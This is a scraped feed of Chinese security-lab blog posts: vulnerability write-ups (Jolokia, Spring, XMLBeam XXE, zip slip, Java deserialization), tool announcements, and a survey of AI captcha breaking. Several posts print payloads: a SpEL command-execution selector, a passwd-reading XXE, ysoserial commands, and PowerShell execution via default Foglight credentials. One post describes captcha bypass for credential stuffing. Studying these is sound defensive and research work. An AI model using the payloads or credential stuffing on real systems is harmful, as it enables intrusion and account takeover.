Quantcast
Channel: 勾陈安全实验室
Viewing all 46 articles
Browse latest View live

Jolokia JNDI Injection&XXE Vulnerability分析复现

$
0
0

0x01 JNDI Injection CVE-2018-1000130

1.1 什么是JNDI注入

参考:https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf

1.2 漏洞复现

Jolokia的JNDI注入问题出现在jsr160模块,根据官方文档可以很容找到注入点

6.6. Proxy requests For proxy requests, POST must be used as HTTP method so that the given JSON request can contain an extra section for
the target which should be finally reached via this proxy request. A
typical proxy request looks like

{
    "type" : "read",
    "mbean" : "java.lang:type=Memory",
    "attribute" : "HeapMemoryUsage",
    "target" : {
         "url" : "service:jmx:rmi:///jndi/rmi://targethost:9999/jmxrmi",
         "user" : "jolokia",
         "password" : "s!cr!t"
    }
  }

根据补丁信息很容易确定漏洞位置:

url within the target section is a JSR-160 service URL for the target
server reachable from within the proxy agent. user and password are
optional credentials used for the JSR-160 communication.

1.png

1.3 漏洞利用

2.png

3.png

4.png

1.4 影响

5.png

1.5 漏洞Bypass

补丁信息,可以看到增加ldap的黑名单:service:jmx:rmi:///jndi/ldap:.*

https://github.com/rhuss/jolokia/commit/2f180cd0774b66d6605b85c54b0eb3974e16f034

6.png

但是JDNI注入支持的协议有LDAP、RMI、Cobra三种,所以补丁后还是存在问题的。

7.png

8.png

0x02 XXE Vulnerability In PolicyDescriptor Class

2.1 漏洞复现

9.png

10.png

11.png

12.png

2.2 漏洞利用

由于对Jolokia不熟悉,目前还没有找到用户可控输入点。

0x03 参考


CVE-2018-1270 Remote Code Execution with spring-messaging

$
0
0

影响版本

  • Spring Framework 5.0 to 5.0.4
  • Spring Framework 4.3 to 4.3.14

漏洞分析

Spring Framework通过spring-messageing模块和STOMP代理对象通讯。根据漏洞描述可以知漏洞出现在spring-message模块 或者是 stomp-websockets模板块,下面逐一分析:

spring-websockets 模块

存在的敏感方法

@Nullable

public String[] decode(String content) throws IOException {
return (String[])this.objectMapper.readValue(content, String[].class);
}

反序列化使用的jackson组件,但是没有开启autotype功能,并且代码指定了反序列化类型为String[].class,利用jndi注入方式会导致异常,没有成功。

625fbd72201477f4d64f9b4a2e79a5a1.png

分析spring-message模块

DefaultSubscriptionRegistry类中方法addSubscriptionInternal存在expression = this.expressionParser.parseExpression(selector)(危险的SPEL表达式语句)。
根据上下文可以初步判定selector参数可以控制,但是了解SPEL注入的同学应该知道,要想达到代码执行,需要调用expression.getValue()或者expression.setValue()方法。继续寻找会发现该文件的154-164行调用了expression对象的getValue方法。

复现下漏洞的触发流程:

点击Connet按钮抓包

52b29eca6c5ea5429201c48c8ad96bee.png

修改请求报文,插入如下字段

\nselector:new java.lang.ProcessBuilder("/Applications/Calculator.app/Contents/MacOS/Calculator").start()

43ec3a11b117e9b86582d16d1922fc13.png

回到聊天窗口,发送任意消息即可触发恶意代码

c25b1fe4957ce9fcd465d867e1d010df.png

9d57f7cb1ad30ab1e747922601163798.png

586b85fa87889b1950535a76e5c25553.png

修复方案

  • 5.0.x users should upgrade to 5.0.5
  • 4.3.x users should upgrade to 4.3.15

漏洞二:xss vul in gs-messaging-stomp-websocket demo

2f1a64a5f7f2e688198fc8ffe5d805eb.png

Patch:https://github.com/spring-guides/gs-messaging-stomp-websocket/commit/6d68143e04ea1482b724c3f620688ec428089bc0

From:https://pivotal.io/security/cve-2018-1270

Dell Foglight for Virtualization利用

$
0
0

介绍

Dell Foglight for Virtualization是戴尔的一款企业级基础架构和虚拟化运营管理,简单来说就是基础架构性能监控工具。

登录认证&命令执行

Dell Foglight for Virtualization的默认用户名/密码为:foglight,在配置不当的情况下我们可以通过默认凭证登录Foglight的控制台

<IP_ADDRESS>:8080

2017_06_20_10_07_43_Parrot_VMware_Workstation.png

成功登录之后就可以利用Foglight集成的脚本控制台在主机上执行代码

打开如下选项卡

Homes -> Administration -> Investigate -> Data -> Script Console

Scripts选项卡下单击[+] Add按钮

示例:

"cmd.exe /c ".execute

或者使用PowerShell:

"powershell.exe -NoP -NonI -W Hidden -Enc".execute

可以直接交互Empire或者是Metasploit Web Delivery的Payload进行反弹等操作

跟Jenkins一样Foglight执行脚本命令也是使用Groovy Script,且Foglight也可以像Jenkins管理其他节点一样在其管理的设备上执行代码:

打开Homes -> Automation -> Workflow Management选项卡点击[+] New按钮

然后在Workflow Management中选择All ActionPacks -> Common -> Scripting

会出现如下几个选项

  • Run PowerShell Script
  • Send and Run Command(s)
  • Send and Run PowerShell script

worlflow.png

可以执行PowerShell命令,甚至可以创建恶意工作流程推送到所有管理的设备。

凭证

Foglight存储凭据管理在Dashboards-> Administration -> Credentials选项卡中,点击Manage Credentials按钮就可以查看存储的凭证。其中包含了加密凭证和加解密的密钥,如果能解密存储的凭证就可以进行更多横向操作。

参考

[撞库测试] Selenium+验证码打码时的特殊情况-【遇到滚动条】

$
0
0

题外话

测试的目标网站如果登录接口有验证码+浏览器环境检测的时候,有时候脚本小子就望而却步了,比如我。因为正面对抗JS的环境检测和验证码是有难度的,这个时候我们可以借助Selenium + 打码平台来搞一搞。这里只做笔记记录,不做具体细节描述,如有兴趣可以私下交流。

测试目标

我们的假定目标如下,某贷网站的登录入口:

201805101525941070537294.png

关键点

  1. 需要自动填充账号、密码
  2. 需要将验证码进行截图,然后接入打码平台SDK
  3. 这里暂时不管短信验证码。

一般情况

使用Selenium进行自动化登录的基本操作是会的,结合打码平台的SDK的操作也是基本的,有时候会遇到验证码是特殊url,页面关联性很强的时候,想要打码,必须使用通过截图打码来完成登录。

关于selenium+验证码截图网上搜一搜有很多,比如你会搜到下面的:

201805101525942436360685.png

上面的这种在windosw上确实OK的

不一般的情况

上面的情况适合一部分Window用户,Mac电脑上就不一样了,多次的实践结果证明Mac上的对验证码截图部分代码应该是下面这样写的:

201805101525942650541222.png

(曾经去B站大佬面前演示过B站可被撞库)

特殊情况

今天遇到了不一样的情况了,这个情况就是开篇截图里的情况。当登录页面有滚动条的时候,上面的2种做法都行不通了。回顾截图的代码,思路是,先整体当前网页全屏截图,然后通过Selenium查找到验证码图片元素,拿到该图片元素的长-宽,以及在页面的location相对位置,然后通过计算得到截图的坐标,通过4个坐标点,进行截图得到了我们想要的验证码图片。

这里的新情况是,页面出现了滚动条,如下图:

201805101525943188398931.png

在有滚动条的时候,验证码图片的相对位置计算方式就不一样了,滚动条向下滚动了,验证码图相对于网页的左上角是更近了一些距离,这个距离就是滚动条的滚动距离。

所以4个点坐标的正确计算方式记录一下应该如下:

201805101525943599804798.png

上面的思路是:

  1. 获取当前滚动条滚动距离。
  2. 创建一个标签,记录该值,然后selenium找到这个标签,拿到这个值。
  3. 验证码元素的相对位置y值需要剪掉滚动的距离。

这样就能拿到验证码图片了

201805101525944044345501.png

剩下的工作就是SDK打码,输入验证码,进行测试了,这就不多说了。。

总结

确认过眼神,就是这么整。

关于CVE-2018-1259-XXE漏洞复现

$
0
0

前提

最近Spring几连发的漏洞里有一个漏洞是CVE-2018-1259,地址是https://pivotal.io/security/cve-2018-1259,根据我对描述的理解,这个锅不应该给Spring接啊,描述有一段话:

Spring Data Commons, versions prior to 1.13 to 1.13.11 and 2.0 to 2.0.6 used in combination with XMLBeam 1.4.14 or earlier versions contain a property binder vulnerability caused by improper restriction of XML external entity references as underlying library XMLBeam does not restrict external reference expansion.

描述中说Spring 的公用数据组件的1.13 到 1.13.11版本和2.0到2.0.6版本使用了XMLBeam 1.4.14 或更早的版本,它存在一个外部实体应用即XXE漏洞。问题出在XMLBeam身上,修复方式就是升级XMLBeam到1.4.15以上,这个锅Spring不应该背吧。

复现XMLBeam的XXE漏洞和分析

这个CVE应该给XMLBeam的,但是它的下载地址是https://xmlbeam.org/download.html,我们在GitHub找了一个使用XMLBeam的demo来进行漏洞复现和分析。

Demo地址:

https://github.com/olivergierke/spring-examples/tree/master/scratchpad/src

下载然后导入IDEA:

201805131526218553238503.png

这个Demo代码有点小情况需要处理才能很好的跑起来,导入IDEA后,用Maven开始构建。在site使用插件运行时,它使用的是Jetty组件运行,这个情况就是怎么访问uri地址/customers 都是404,一直很纳闷。在折腾中,我发现用junit测试是OK的,能复现和调试漏洞。后来同事提到用Spring-boot运行就很OK。于是这里记录一下怎么改用Spring-Boot运行(现学现用)。

201805131526218961914670.png

在上面的那个位置,添加SpringBoot启动代码,现在我们就可以右键直接run了。

201805131526219085500949.png

现在我们可以简单阅读demo代码,理解如何测试,找到XmlBeamExample.java文件如下:

201805131526219173589965.png

看看pom.xml确认一下XMLBeam的版本,用的是老版本1.4.6,目前最新的版本是1.4.14.

201805131526219445699743.png

环境准备好了,我们开始下断点,和构造测试的POST请求,构造POC如下:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<user>
    <firstname>&xxe;</firstname>
    <lastname></lastname>
</user>

根据代码,我们需要构造POST请求,构造一组参数,XMLBeam会根据参数map对应进行自动解析绑定。

先复现一下效果:

201805131526220995310268.png

这个漏洞的根本原因是由于XMLBeam的用法不当,我们在XMLBeamd 库里找到创建XML解析实体对象的地方,如下截图:

201805151526355342895156.png

上面的是1.4.6版本,从官方下载最新的1.4.14版本的jar包源码看看,同样存在问题的,如下截图:

201805151526355503355930.png

官方目前没有挂出更新后的版本,在maven仓库里我们可以搜到,已经有里修复版本1.4.15,地址:http://mvnrepository.com/artifact/org.xmlbeam/xmlprojector 下载最新的版本后,再查看此处配置如下:

201805151526355686183890.png

一些配置项如下:

201805151526355798781702.png

从更新的代码来看,已经使用了开发语言提供的禁用外部实体的方法修复了这个XXE漏洞。

Spring官方的修复方式也是更新了这个库到1.4.15版本,

https://jira.spring.io/browse/DATACMNS-1311?jql=project%20%3D%20DATACMNS%20AND%20fixVersion%20%3D%20%221.13.12%20(Ingalls%20SR12)%22

收获

  1. 关于如何安全的使用和解析XML文本,可以看看下面给的参考文
  2. 知道了Spring Boot的这种启动方式,Jetty的坑,更加发现了Maven+IDEA配合的强大

参考

CVE-2018-1261: Unsafe Unzip with spring-integration-zip分析复现

$
0
0

开篇

日前,Spring的一个zip组件被爆了一个严重的漏洞,漏洞编号和标题为CVE-2018-1261 Unsafe Unzip with spring-integration-zip。根据描述在spring-integration-zip的1.0.1版本之前在对bzip2, tar, xz, war, cpio, 7z类型的压缩文件进行在解压的时候,如果压缩文件是恶意构造的不可信文件,可导致向任意目录写入文件。现在我们来复现和分析一下该漏洞的发生细节。

复现漏洞

为了复现漏洞,我们可以到Spring的GitHub下载存在漏洞版本的源码文件,地址:https://github.com/spring-projects/spring-integration-extensions/releases下载1.0.1之前的版本,然后在本地解压。

然后到spring-integration-zip目录下,使用命令:

./gradlew idea

生成idea的项目文件,执行完成后,即可用IDEA打开spring-integration-zip.ipr文件如下:

201805151526390164908264.png

根据描述,提到了

This specifically applies to the unzip transformer.

我们可以通过修改src/test/java/org.springframework.integration.zip/transformer文件下面的测试文件进行漏洞的复现和分析,

这个目录下面有这些文件:

201805151526390660203311.png

这里自带了2个测试类,分别是测试压缩和解压相关的。从漏洞描述里,我们大概可以猜到是在解压的压缩包文件里有文件名为:../../../../hack.txt这样的文件,在解压释放时将文件名直接和文件路径进行拼接,然后创建文件,因 ../../ 跳跃到了其他目录,文件被释放到了预期意外的目录下面从而导致了漏洞发生。

于是我们需要制作一个这样的“特殊”文件,这里可以通过ZipTransformerTests文件里的函数,加以修改来实现,修改测试代码如下:

201805151526391519652813.png

我们通过unzip命令看看压缩包文件的结构如下图:

201805151526391664308552.png

做好了压缩包后,下面是参考给出的测试方法,修改的解压代码截图如下:

201805151526393096305118.png

现在我们可以使用Junit运行这个测试函数,观察tmp目录,会生成txt文件,

201805151526393364145629.png

我们来调试看看,下断点跟进处理doZipTransform的实现代码里,如下图:

201805151526395851195117.png

这里的payload是MessageBuilder类的withPayload函数的参数,是一个输入流,读取加载的是我们给的zip文件

201805151526396199825873.png

下面是实现的是使用ZipUtil类遍历输入流里每一个Entry利用回调函数ZipEntryCallback处理它,

重点看处理的逻辑:

201805151526396871306660.png

继续跟进:

201805151526396973476088.png

文件成功释放到指定目录,如下截图:

201805151526397166529379.png

到此漏洞已经被成功利用,产生漏洞的原因是对压缩文件里的文件名没有任何过滤,直接进行文件路径+文件名的拼接,创建了新文件。

我们看看官方给的修复是怎样的,补丁地址,部分截图如下:

201805151526397427442105.png

首先删掉了直接拼接的代码,加入了一个checkPath函数,该函数代码如下:

201805151526397607951610.png

我们更新一下这块修复代码然后再次进行测试如下图:

201805151526398014190310.png

这里已经测试失败了,因为checkPath函数对destinationFile进行了判断,即判断了要写入的文件绝对路径值destinationFile.getCanonicalPath()函数是否包含了指定的释放目录,在这个下面

201805151526398279776249.png

这里很明显不满足,抛出异常程序终止了。

201805151526398450511120.png

想法很皮,实践测试中,发现似乎也不会出现想的那样,绕过了进行文件写入操作,报错如下:

201805151526399941396853.png

测试中发现更新了最新的补丁的现在(CVE-2018-1263补丁后),虽然不能任意目录跳了,但是可以在设置的workDirectory下面跳,最上层跳不出这个限制。

比如,制作压缩包:

201805161526401438177027.png

解压代码:

201805161526401424207075.png

解压后:

201805161526401517763498.png

这里举例说这个情况,是告诉大家配置不当会存在一定风险的,在配置workDirectory时尽量最小化配置,别配置成/var/ home/这一类的路径了,因为这些下面有一些地方被任意写入了文件是很可怕的。需要注意!!!

参考来源

基于Burp Collaborator的HTTP API

$
0
0

前言

  • 听说你想用Ceye,而又怕认证?
  • 听说你想用CloudEye,而又没有注册码?
  • 听说你想用DNSlog,而又嫌太麻烦?

burp_collaborator_http_api是一个让你可以通过HTTP API调用Burp Suite的Collaborator服务器的插件,让你分分钟用上Burp Suite版本的DNSlog

部署说明

方式一

最简单的方式是运行Burp Suite Pro并安装这个插件

install.png

此方式使用的是Burp Suite官方的Collaborator服务器

方式二

自建Burp Collaborator服务器,这样就能做到完全独立自主了

参考官方文档:https://portswigger.net/burp/help/collaborator_deploying

GitHub上也有Docker版本的部署方法:https://github.com/integrity-sa/burpcollaborator-docker

接口说明

生成Payload:http://127.0.0.1:8000/generatePayload

获取Payload的记录:http://127.0.0.1:8000/fetchFor?payload=e0f34wndn15gs5xyisqzw8nwyn4ds2

目前这个接口是原样返回,数据没有做处理,但足以判断命令是否执行成功。后续会优化

它可以接收的请求类型包括: HTTP\HTTPS\DNS\SMTP\SMTPS\FTP;Demo版本暂不区分,后续有空会继续优化,提供特定类型的查询和数据提取。

接口调用示例

简单的Python调用示例:

# !/usr/bin/env python
# -*- coding:utf-8 -*-
__author__ = 'bit4'
__github__ = 'https://github.com/bit4woo'

import requests

proxy = {"http": "http://127.0.0.1:8888", "https": "https://127.0.0.1:8888"}
url = "http://127.0.0.1:8000/generatePayload"
response = requests.get(url)
payload = response.text
print payload
requests.get("http://{0}".format(payload))
url = "http://127.0.0.1:8000/fetchFor?payload={0}".format(payload.split(".")[0])
res = requests.get(url)
print  res.content

call api.png

尝试在无图形界面的Linux上运行

这部分还在研究中,如果你有好的方法,欢迎提交给我,谢谢!

最简单的部署一个Collaborator服务器的方式:

sudo java -jar burp.jar --collaborator-server

启动Burp Suite Pro并安装指定插件,需要先在json中配置:

java -jar burpsuite_pro_1.7.33.jar --user-config-file=collaborator_http_api.json

不启动图形界面:

java -Djava.awt.headless=true -jar burpsuite_pro_1.7.33.jar --user-config-file=collaborator_http_api.json

Knife:一个将有用的小功能加入到右键菜单的Burp Suite插件

$
0
0

项目主页

https://github.com/bit4woo/knife

功能说明

目前有四个菜单:

copy this cookie

尝试复制当前请求中的cookie值到剪贴板,如果当前请求没有cookie值,将不做操作。

get lastest cookie

从proxy history中获取与当前域的最新cookie值。个人觉得这个很有有用,特别是当repeater等请求中的cookie过期,而又需要重放复现时。感谢cf_hb师傅的idea。

add host to scope

将当前请求的host添加到burp的scope中,我们常常需要的时将整个网站加到scope而不是一个具体的URL。

U2C

尝试对选中的内容进行【Unicode转中文的操作】,只有当选中的内容时response是才会显示该菜单。

U2C.png

如有任何小的改进和想要实现的小功能点,都欢迎提交给我,谢谢!

本文内容选自知识星球:

20180613080600.jpg


U2C:Unicode转中文的Burp Suite插件

$
0
0

version 0.1-0.5:

前五个版本使用自定义的图形界面,是在原始请求响应的基础上修改数据包,然后进行展示。

这样有个坏处就是可能破坏响应包在浏览器等终端的展示,可能出现乱码。虽然设计了图像界面进行控制,但是也不够灵活简洁。

前五个版本算是走了冤枉路,但也是由于有前五个版本,才有了下面的第六版。

version 0.6:

完全重写,使用新的Tab来展示转码后的响应数据包,不影响原始的响应数据包,更加简洁实用!

值得注意的是:U2C中的显示情况与Burp Suite中User options---Display--- HTTP Message Display & Character Sets有关,目前Burp Suite的API无法完全控制。只能自行设置。

origin.png

u2cTab.png

GitHub: https://github.com/bit4woo/u2c

Download: https://github.com/bit4woo/u2c/releases

测试URL: https://map.baidu.com/?qt=operateData&getOpModules=op1%2Cop2%2Cop3%2Cop4%2Cop5%2Cop6%2Cop7

团队招募计划

$
0
0

团队招募计划

关于我们

从MottoIn到勾陈已经走过了两年的时间,在此期间得到了很多朋友的热心帮助和支持,在此表示衷心的感谢!为了让团队走得更远,现准备开始团队新成员的招募。关于我们:http://www.polaris-lab.com

招募细节如下:

我们欢迎这样的人

  • 热衷于信息安全,对信息安全有着不可磨灭的热情;
  • 精通某方向的安全技术,有实践或者项目经历;
  • 熟悉某一种开发语言,至少能上手写代码;
  • 每周有足够的的空闲时间参加团队事务;
  • 执行力强,不推诿分内之事,能及时完成分配的任务;
  • 此未参加任何黑产、非法事项,我们不需要一颗老鼠屎坏了一锅粥;
  • 团队定位就是纯粹的安全技术分享和研究,乐于分享,拒绝娱乐。有着真正的Hack精神;

加入我们你可以获得

  • 团队成员之间的经验分享;
  • 个人技术提升、团队归属感、职业发展;
  • 拥有一群志同道合的朋友;
  • 在日后工作中可多出一份项目经验;
  • 获得许多团队的内部资料及内部福利;

加入我们之后的义务

  • 团队建设相关工作;
  • 团队原创技术产出;
  • 每周一人次的团队内部技术分享;
  • 团队开源项目的立项、管理与研发完善;

团队的技术产出

...

团队内部分享

开源项目

...

加入方式

申请者请发送个人相关资料至re4lity@polaris-lab.com,并在邮件标题中注明研究方向[后期将根据团队成员的研究方向开设小组],例如:[团队加入申请]-Web安全-xxx;并包含如下内容:

  • 个人基本情况介绍;
  • 研究方向;
  • 相关技能;
  • 原创文章、研究成果、项目经历等;

记一次Java反序列化漏洞的发现和修复

$
0
0

0x00 背景简介

本文是自己对一次反序列化漏洞的发现和修复过程,如有错误请斧正,大神请轻喷。

目标应用系统是典型的CS模式。

客户端是需要安装的windows桌面程序,但是它是大部分内容都是基于Java开发(安装目录有很多Jar包)。

服务端是基于Jboss开发。

客户端和服务端之间的通信流量是序列化了的数据流量。客户端接收和解析数据流量的模式和服务端一样,也是通过http服务,它在本地起了80、81端口,用于接收反序列化对象。

0x01 Java序列化流量特征

特征一

参考特征,反序列化数据看起来就是这个样子: sr 、类名、空白字符

序列化数据特征1.png

特征二

固有特征,是Java的序列化数据就一定是这样,如果是base64编码的,就是以rO0A开头的。

序列化数据特征2.png

特征三

参考特征,有些content-type就说明了它是是序列化数据。

序列化数据特征3.png

0x02 检测工具

当确定是序列化数据后,我使用了2个会主动进行反序列化漏洞扫描的Burp Suite插件:

当时忘记截图了,这是后续在测试环境的截图:

Java_Deserialization_Scanner1.png

Freddy的流量识别截图:

Freddy.png

0x03 复现方法(攻击服务器端)

使用ysoserial生成一个Payload,这里以Jdk7u21为例,由于是内部系统,我知道服务器上JDK的版本。

java -jar ysoserial-master.jar Jdk7u21 "ping jdk.xxx.ceye.io" > Jdk7u21

将生成的Payload通过Burp suite向服务端进行请求,命令执行成功。

server.png

0x04 攻击客户端

晚上回家想了想,返回包也是序列化格式的,是不是可以试试攻击客户端呢?第二天来一试,还真的可以。

对客户端做了一个简单的分析,发现客户端在本地起了80和81端口,也是通过http 服务来接收序列化对象的,反序列化过程和服务端如出一辙。

java -jar ysoserial-master.jar CommonsCollections3 "calc.exe" >CC3-desktop

client.png

这里自己想象了一种攻击场景:当攻击者控制了服务器之后,可以干掉这个服务,自己开启一个恶意的服务端,当反序列化请求过来时,都返回一个恶意的响应包,比如反弹shell之类的,凡是使用了该客户端的用户都可能被攻击。危害还是不容小视的。

0x05 防护思路

到了这里就开始考虑修复了,我给开发提供了2种修复思路。

升级

升级服务端所依赖的可能被利用的jar包,当然还包括JDK。不错所料,开发一听就否了。一来升级需要经过各种功能性测试,耗时较长,二来是JDK的升级可能造成稳定性问题(之前一个AMF的反序列化问题就是如此,升了2个月了还没搞定)。

过滤

另一个思路就是过滤了,需要继承Java.io.ObjectInputStream实现一个子类,在子类中重写resolveClass方法,以实现在其中通过判断类名来过滤危险类。然后在JavaSerializer类中使用这个子类来读取序列化数据,从而修复漏洞。

反序列化防御.png

0x06 失败的修复

我将以上的第二种修复思路给到了开发,并提醒参考SerialKiller项目。过了一段时间,开发告诉我修复了,然而我的验证显示漏洞依然存在。

只好硬着头皮去开发电脑上看代码,后来发现开发将过滤方法用在了下图的方法之后,而且是在判断获取到的对象是不是HashMap实例之后(开发不愿意给我截图了...)。到这里我终于发现了点不对劲,在判断对象类型了,岂不是说明已经反序列化完成了?

通过对这个getRequestData()函数的追踪,确定反序列化过程是在一个底层的Jar包中完成的。

getrequest.jpg

0x07 对底层Jar包的分析

然后我拿到这个Jar进行了分析,它是公司自己开发的框架。最后艰难地理出了其中的调用逻辑:该框架基于struts2开发,从下图的调动逻辑可以看出,所有的请求到达服务端后,都会首先经过DataInterceptor这个拦截器,这个拦截器执行的动作就是反序列化数据然后给到Action。上面的getRequestData()方法,已经是在这个流程之后了,属于Action中的逻辑。故而开发的修复方式无效。

flowofcall.png

DataInterceptor类的实现如下:

public class DataInterceptor
  extends BaseInterceptor
{
  private static final long serialVersionUID = 1L;

  public String intercept(ActionInvocation invocation)
    throws Exception
  {
    HttpServletRequest request = (HttpServletRequest)invocation
      .getInvocationContext().get("com.opensymphony.xwork2.dispatcher.HttpServletRequest");
    Object action = invocation.getAction();
    if ((action instanceof IDataAction))
    {
      IDataAction richAction = (IDataAction)action;
      Serializable model = Toolkit.getSerializer().deserialize(
        request.getInputStream());//这里执行了反序列化操作
      richAction.setRequestData(model);//将对象传递给了Action,getRequestData()方法才能获取到
    }
    else if ((action instanceof IDataBundleAction))
    {
      IDataBundleAction richAction = (IDataBundleAction)action;
      Serializable model = Toolkit.getSerializer().deserialize(
        request.getInputStream());
      richAction.setRequestDataBundle((DataBundle)model);
    }
    return invocation.invoke();
  }
}

JavaSerializer的实现如下:

import java.io.BufferedInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class JavaSerializer
  extends AbstractSerializer
{
  public Serializable deserialize(InputStream in)
    throws IOException
  {
    ObjectInputStream oo = new ObjectInputStream(new BufferedInputStream(in));
    try
    {
      return (Serializable)oo.readObject();
    }
    catch (ClassNotFoundException e)
    {
      throw new IOException("序列化类文件找不到:" + e.getMessage());
    }
    finally
    {
      oo.close();
    }
  }

到这里就清楚了,真正有漏洞的代码就在这里。

0x08 成功修复

要修复这个漏洞,就需要将上面的第二种过滤修复方法用到这个类里,具体的实现方法和SerialKiller一样。

需要继承Java.io.ObjectInputStream实现一个子类(SerialKiller),在子类中重写resolveClass方法,以实现在其中通过判断类名来过滤危险类。然后在JavaSerializer类中使用这个子类来读取序列化数据,从而修复漏洞。

通过如上方法修复了该漏洞,验证也是成功修复。修复后的JavaSerializer类:

import com.xxx.xxx.xxx.core.security.SerialKiller;
import java.io.BufferedInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class JavaSerializer
  extends AbstractSerializer
{
  public Serializable deserialize(InputStream in)
    throws IOException
  {
    ObjectInputStream ois = new SerialKiller(new BufferedInputStream(in));//SerialKiller是重写了resolveClass方法的子类。
    try
    {
      return (Serializable)ois.readObject();
    }
    catch (ClassNotFoundException e)
    {
      throw new IOException("序列化类文件找不到:" + e.getMessage());
    }
    finally
    {
      ois.close();
    }
  }

0x09 意外之喜 - 另一处XMLDecoder反序列化漏洞

然而,对Java包的分析还发现了另外一处反序列化漏洞。问题出在对XML的反序列化过程中,和weblogic的XMLDecoder RCE如出一辙。

漏洞代码如下:

import java.beans.XMLDecoder;
import java.io.IOException;
import java.io.InputStream;
import java.io.Serializable;

public class XmlSerializer
  extends AbstractSerializer
{
  public Serializable deserialize(InputStream in)
    throws IOException
  {
    XMLDecoder xd = new XMLDecoder(in);//和weblogic的XMLDecoder RCE如出一辙
    try
    {
      return (Serializable)xd.readObject();
    }
    finally
    {
      xd.close();
    }
  }

它的修复方式也是参考了weblogic的,需要实现一个validate 函数,在执行XML解码(XMLDecoder)前,对InputStream对象进行检查过滤。

private void validate(InputStream is){
      WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
      try {
         SAXParser parser = factory.newSAXParser();

         parser.parse(is, new DefaultHandler() {
            private int overallarraylength = 0;
            public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
               if(qName.equalsIgnoreCase("object")) {
                  throw new IllegalStateException("Invalid element qName:object");
               } else if(qName.equalsIgnoreCase("new")) {
                  throw new IllegalStateException("Invalid element qName:new");
               } else if(qName.equalsIgnoreCase("method")) {
                  throw new IllegalStateException("Invalid element qName:method");
               } else {
                  if(qName.equalsIgnoreCase("void")) {
                     for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
                        if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
                           throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
                        }
                     }
                  }

                  if(qName.equalsIgnoreCase("array")) {
                     String var9 = attributes.getValue("class");
                     if(var9 != null && !var9.equalsIgnoreCase("byte")) {
                        throw new IllegalStateException("The value of class attribute is not valid for array element.");
                     }
                  }
               }
             }
         });

         } catch (ParserConfigurationException var5) {
            throw new IllegalStateException("Parser Exception", var5);
         } catch (SAXException var6) {
            throw new IllegalStateException("Parser Exception", var6);
         } catch (IOException var7) {
            throw new IllegalStateException("Parser Exception", var7);
         }
}

0x10 总结

零零散散学习反序列化漏洞已经很长时间了,这是第一次在公司自研框架中发现反序列化漏洞,所以总结记录一下,大神请轻喷!也算是对该漏洞知识的一个梳理。学习还是要实践过、做过了才算是学到了,否则永远不是自己的!

0x11 参考

过滤方法的一个开源库,但是这个库需要依赖JDK1.8: https://github.com/ikkisoft/SerialKiller

反序列化漏洞的入口和限制条件+反序列化过滤防御思路:https://www.ibm.com/developerworks/library/se-lookahead/

廖师傅的Weblogic XMLDecoder RCE分析: http://xxlegend.com/2017/12/23/Weblogic%20XMLDecoder%20RCE%E5%88%86%E6%9E%90/

AI与安全的恩怨情仇五部曲「1」Misuse AI

$
0
0

v2-becc90b60120f36fd6a9e8305bc050f1_1200x500.jpg

写在前面

随着AI军备战进入白热化状态,越来越多的行业开始被AI带来的浪潮所影响,甚至颠覆。
安全作为和众多行业交叉的一个领域,同样无法避免这样的浪潮。

但和其他领域不同的是,安全和AI之间其实是一个相互作用和碰撞的过程——

  • 黑客可以利用AI发起攻击。如攻破验证码机制、自动化钓鱼攻击、实现漏洞的自动挖掘等。
  • 黑客可以对AI发起攻击。如用数据中毒或逃逸攻击干扰模型结果,或是用模型萃取的方法窃取模型或训练集等。
  • 安全研究员可以利用AI进行防守。如对钓鱼邮件从行为和文本上进行检测、利用图的时候挖掘恶意团伙、对C&C服务器进行检测等。
  • 安全研究员需要对AI进行保护。如面对恶意机器流量,如何搭建机器流量防控体系,以及旨在保护模型机密性和数据安全的隐私保护技术等。

基于此,本文考虑对AI与安全的恩怨情仇进行一些简单的提纲挈领式的梳理和思考,抛砖引玉。

具体而言,我将AI与安全的关系划分为了五个部分,前四个部分分别从【黑客利用AI进行攻击】、【黑客攻击AI模型】、【安全人员利用AI进行防守】、【安全人员对AI进行保护】角度进行分篇介绍,最后在【Do we need all in AI ?】部分,给出自己对当前安全现状的一点思考。

整个系列文章的大纲如下图所示,因为字数较多,因此我会将五部曲分为五篇文章,依次进行介绍,欢迎大家共同交流。

AI与安全的恩怨情仇五部曲_gaitubao_com_watermark.jpg

Misuse AI

Misuse AI字如其意,即指黑客对AI技术的“误用”。

黑客的攻击行为大多追求规模效应,因此会试图攻击尽可能多的目标用户,同时降低自身的风险。这与AI的思想不谋而合,因此AI便成为了他们实现目标的完美工具。

这里我们主要对以下5种情形进行简单介绍——

  • 验证码自动识别
  • 自动化鱼叉式钓鱼攻击
  • 自动化恶意软件样本生成
  • 自动化漏洞挖掘
  • 通过舆情分析和精准广告投放来影响政治事件

验证码自动识别

验证码识别可能是大家第一反应会想到的一个应用场景,毕竟这个技术几乎自验证码诞生的第一天起就同时诞生了,并一直和验证码缠斗至今。

目前市面上的常见验证码与其对应的攻击手段如下——

输入识别出的字符类验证码

9103047-6640943ef24c3420.jpg

这类实际上主要涉及到的就是图像识别。
一般分为分割字符不分割字符两种处理手段。

分割字符手段的步骤:

  1. 图片预处理,包括二值化,降噪等
  2. 图片分割
  3. 提取特征
  4. 训练分类模型,识别字符

这种方法的难点:

  • 背景噪声难以去除,例如字体上有横线等
  • 图片粘在一起,难以切割
  • 文字有旋转,扭曲等变形

在样本数量不是很大的情况下,这三种情况都会对准确率造成影响,当然如果样本足够多,这些也不是问题

不分割字符的方法:

  • 字符固定:考虑CNN
  • 字符不固定:考虑RNN/LSTM/GRU + CTC。只要数据量足够,准确率就能达到很高的水准。

点选类验证码

092841.png

这类可以利用目标检测的方法,先从图像中检测出文字,再对文字分类。
具体实现可以参照这篇:https://zhuanlan.zhihu.com/p/34186397

拖动滑块到指定位置的验证码

geetest123.jpg

